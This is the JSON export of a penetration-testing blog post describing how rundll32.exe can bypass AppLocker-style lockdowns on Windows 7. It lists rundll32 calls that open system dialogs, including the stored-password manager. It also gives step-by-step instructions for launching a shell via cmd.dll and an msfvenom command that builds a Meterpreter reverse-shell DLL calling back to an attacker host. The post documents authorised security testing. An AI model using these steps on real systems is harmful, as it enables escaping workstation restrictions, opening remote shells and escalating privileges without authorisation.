{"id":143,"date":"2014-02-11T19:30:55","date_gmt":"2014-02-11T19:30:55","guid":{"rendered":"https:\/\/www.attackdebris.com\/?p=143"},"modified":"2014-08-09T12:36:47","modified_gmt":"2014-08-09T11:36:47","slug":"rundll32-exe-lockdown-goodness","status":"publish","type":"post","link":"https:\/\/www.attackdebris.com\/?p=143","title":{"rendered":"rundll32 lockdown testing goodness"},"content":{"rendered":"<p>I was recently on a Windows 7 workstation lock-down test which had been implemented pretty effectively with the vast majority of file and folder, service and AppLocker applied rules and permissions preventing the majority of malicious actions.<\/p>\n<p>However, I found that I was able to utilise rundll32.exe to attempt to enumerate\/manipulate the environment.\u00a0 I couldn&#8217;t really find a good pentest related resource for leveraging rundll32 so thought I&#8217;d a put something together to highlight what I&#8217;d found to be useful.<\/p>\n<p>All of the following commands have been tested on Windows 7 Ultimate, buts it&#8217;s worth bearing in mind that even if the command runs successfully you&#8217;ll still be restricted to the security context of the current user (but at least you&#8217;ll have a way of initiating the command \/ function that you may not have had before).<\/p>\n<p>I&#8217;ve also refrained from referencing any Control Panel (.cpl) related commands, as these can all be trivially called from C:\\Windows\\System32 (and most weren&#8217;t executable during my engagement).<\/p>\n<p>Note: The usage screenshots have been run from the command line for the sake of clarity, in reality you&#8217;re unlikely to have cmd.exe (or PowerShell) access and the rundll32 commands (and arguments) will need to be called via Windows shortcuts (as described towards the end of this post).<\/p>\n<p><strong>Main Commands:<\/strong><br \/>\nrundll32 Shell32.dll,SHHelpShortcuts_RunDLL Connect &#8211; <strong>Map Network Drives <\/strong><br \/>\nrundll32.exe shell32.dll,Control_RunDLL &#8211; <strong>Control Panel<\/strong><br \/>\nrundll32.exe devmgr.dll DeviceManager_Execute &#8211; <strong>Device Manager<\/strong> (view only)<br \/>\nrundll32.exe shell32.dll,Options_RunDLL 1 &#8211; <strong>Taskbar Options<\/strong><br \/>\nrundll32.exe shell32.dll,Options_RunDLL 2 &#8211; <strong>Search Options<\/strong><br \/>\nrundll32.exe shell32.dll,Options_RunDLL 3 &#8211; <strong>Start Menu Options<\/strong><br \/>\nrundll32.exe shell32.dll,Options_RunDLL 4 &#8211; <strong>Turn System icons on\/off<\/strong><br \/>\nrundll32.exe shell32.dll,Options_RunDLL 5 &#8211; <strong>Taskbar Notifications on\/off<\/strong><br \/>\nrundll32.exe shell32.dll,Options_RunDLL 6 &#8211; <strong>Taskbar Toolbar Display Options<\/strong><br \/>\nrundll32.exe shell32.dll,Options_RunDLL 7 &#8211; <strong>View File and Folder Options <\/strong>(see below)<\/p>\n<p>rundll32.exe keymgr.dll, KRShowKeyMgr &#8211; <strong>Stored Usernames\/Passwords<\/strong> (see below)<\/p>\n<p>rundll32 Shell32.dll,OpenAs_RunDLL file.abc &#8211;<strong> Change file associations<\/strong> (e.g. ext .abc)<\/p>\n<p>rundll32.exe van.dll,RunVAN &#8211; <strong>Network Popup<\/strong> (Subsequently access networking?)<br \/>\nrundll32.exe shwebsvc.dll,AddNetPlaceRunDll &#8211; <strong>Add network location<\/strong> (wizard)<br \/>\nrundll32.exe oobefldr.dll,ShowWelcomeCenter &#8211; <strong>Start Welcome Centre<\/strong><br \/>\nrundll32.exe dsquery,OpenQueryWindow &#8211; <strong>Find Users<\/strong> (New targets to brute force?)<\/p>\n<p><strong>More<\/strong> <strong>Intrusive Commands:<\/strong><br \/>\nrundll32.exe powrprof.dll,SetSuspendState &#8211; <strong>Hibernate<\/strong><br \/>\nRunDll32.exe user32.dll,LockWorkStation &#8211; <strong>Lock Screen<\/strong><\/p>\n<p><!-- [if gte mso 9]><xml>\n<o:OfficeDocumentSettings>\n<o:RelyOnVML\/>\n<o:AllowPNG\/>\n<\/o:OfficeDocumentSettings>\n<\/xml><![endif]--><\/p>\n<p><strong>Utilise a Third Party .DLL?<\/strong><\/p>\n<p>Didier Steven&#8217;s has produced a nice write up on taking a third party command interpreter and converting it from .exe to .dll, for more information see: <a href=\"http:\/\/blog.didierstevens.com\/2010\/02\/04\/cmd-dll\/\" target=\"new\">Didier&#8217;s Blog<\/a><\/p>\n<p>If we&#8217;re able to upload our new .dll to our target system we may be able to leverage a command prompt via rundll32.exe, the steps to do this are as follows:<\/p>\n<p>1. Upload Didier Steven&#8217;s cmd.dll to your target system.<br \/>\n2. Create a new shortcut (on your desktop for example):<br \/>\n<em>C:\\Windows\\System32\\rundll32.exe c:\\users\\test123\\desktop\\cmd.dll,Control_RunDLL<\/em><br \/>\n3. Double click your new shortcut to pop your command shell<\/p>\n<p><strong>Metasploit Reverse Shell?<\/strong><\/p>\n<p>Another option to abuse rundll32 maybe to upload a Metasploit derived .dll, the steps to do this are as follows:<\/p>\n<p>1. Create our reverse_shell .dll file:<br \/>\n<em>msfvenom -p windows\/meterpreter\/reverse_tcp -f dll LHOST=192.168.1.103 LPORT=12345 &gt; .\/pentest.dll<\/em><\/p>\n<p>2. Upload the reverse_shell payload .dll file to our target system e.g. HTTP<\/p>\n<p>3. Start our reverse listener on our pentest host via Metasploit&#8217;s: \/exploit\/multi\/handler<\/p>\n<p>4. Trigger the .dll via the same method used with cmd.dll (above), i.e. via a shortcut:<br \/>\n<em> C:\\Windows\\System32\\rundll32.exe c:\\users\\test123\\desktop\\pentest.dll,Control_RunDLL<\/em><br \/>\nWe now have a full meterpreter session in the context of our standard user, but we&#8217;re now able to initiate privilege escalation etc. via the Metasploit framework \ud83d\ude42<\/p>\n<p>By way of further reading; JavaScript can also be called through rundll32.exe, checkout the following post:<br \/>\n<a title=\"http:\/\/www.kernelmode.info\/forum\/viewtopic.php?f=16&amp;t=3377#p23362\" href=\"http:\/\/www.kernelmode.info\/forum\/viewtopic.php?f=16&amp;t=3377#p23362\" target=\"_blank\">http:\/\/www.kernelmode.info\/forum\/viewtopic.php?f=16&amp;t=3377#p23362<\/a><\/p>\n<p>References:<br \/>\n<a href=\"http:\/\/blog.didierstevens.com\/2010\/02\/04\/cmd-dll\/\" target=\"new\">http:\/\/blog.didierstevens.com\/2010\/02\/04\/cmd-dll\/<\/a><br \/>\n<a href=\"http:\/\/www.osattack.com\/windows-7\/huge-list-of-windows-7-shell-commands\/\" target=\"new\">http:\/\/www.osattack.com\/windows-7\/huge-list-of-windows-7-shell-commands\/<\/a><br \/>\n<a href=\"http:\/\/windows7tips.com\/rundll32-vista-windows-7.html\" target=\"new\">http:\/\/windows7tips.com\/rundll32-vista-windows-7.html\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I was recently on a Windows 7 workstation lock-down test which had been implemented pretty effectively with the vast majority of file and folder, service and AppLocker applied rules and permissions preventing the majority of malicious actions. However, I found that I was able to utilise rundll32.exe to attempt to enumerate\/manipulate the environment.\u00a0 I couldn&#8217;t &hellip; <\/p>\n<p><a class=\"more-link btn\" href=\"https:\/\/www.attackdebris.com\/?p=143\">Continue reading<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","enabled":false},"version":2}},"categories":[11,1],"tags":[],"class_list":["post-143","post","type-post","status-publish","format-standard","hentry","category-lockdowns","category-tools","item-wrap"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_shortlink":"https:\/\/wp.me\/p3MDvd-2j","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www.attackdebris.com\/index.php?rest_route=\/wp\/v2\/posts\/143","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.attackdebris.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.attackdebris.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.attackdebris.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.attackdebris.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=143"}],"version-history":[{"count":25,"href":"https:\/\/www.attackdebris.com\/index.php?rest_route=\/wp\/v2\/posts\/143\/revisions"}],"predecessor-version":[{"id":229,"href":"https:\/\/www.attackdebris.com\/index.php?rest_route=\/wp\/v2\/posts\/143\/revisions\/229"}],"wp:attachment":[{"href":"https:\/\/www.attackdebris.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=143"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.attackdebris.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=143"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.attackdebris.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=143"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}